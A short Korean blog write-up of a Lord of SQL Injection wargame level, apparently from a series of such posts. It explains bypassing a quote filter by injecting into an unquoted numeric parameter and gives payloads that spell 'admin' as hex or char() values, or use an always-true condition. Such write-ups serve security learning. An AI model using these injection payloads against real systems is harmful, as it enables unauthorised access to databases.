이번 문제는 $_GET[no] 에 ', ", ` 등이 필터가 되어 있지만 쿼리를 보면 no 는 닫혀있지 않다. 그래서 쿼리 결과값이 admin 이 나오도록 만들면 해결할 수 있다.
no 가 1 일 때에 결과값은 guest 이 나온다. 우리는 admin 이라는 값을 뽑아야 하고 DB 에 id 값들이 몇개가 있을지 모르므로 그냥 id='admin' 을 만들어 줄건데, $_GET[no] 를 통해서 id='admin' 이라는 값을 만들수 없음으로 admin 이라는 값을 Hex 값으로 넣어주거나 char 이라는 함수 안에 10진수로 변환해 넣어주면 MYSQL 에서는 문자열로 변환해주게 된다.
where id='guest' and no=0 || id=0x61646d696e // 0x61646d696e -> admin
where id='guest' and no=0 || id=char(97,100,109,105,110) // char(97,100,109,105,110) -> admin
문제에선 id 결과값이 2개 임으로 where id='guest' and no=0||no!=1 처럼도 가능하다.
los.rubiya.kr/darkelf (0) | 2018.11.15 |
---|---|
los.rubiya.kr/wolfman (0) | 2018.11.15 |
los.rubiya.kr/orc (0) | 2018.11.15 |
los.rubiya.kr/cobolt (0) | 2018.11.11 |
los.rubiya.kr/gremlin (0) | 2018.11.11 |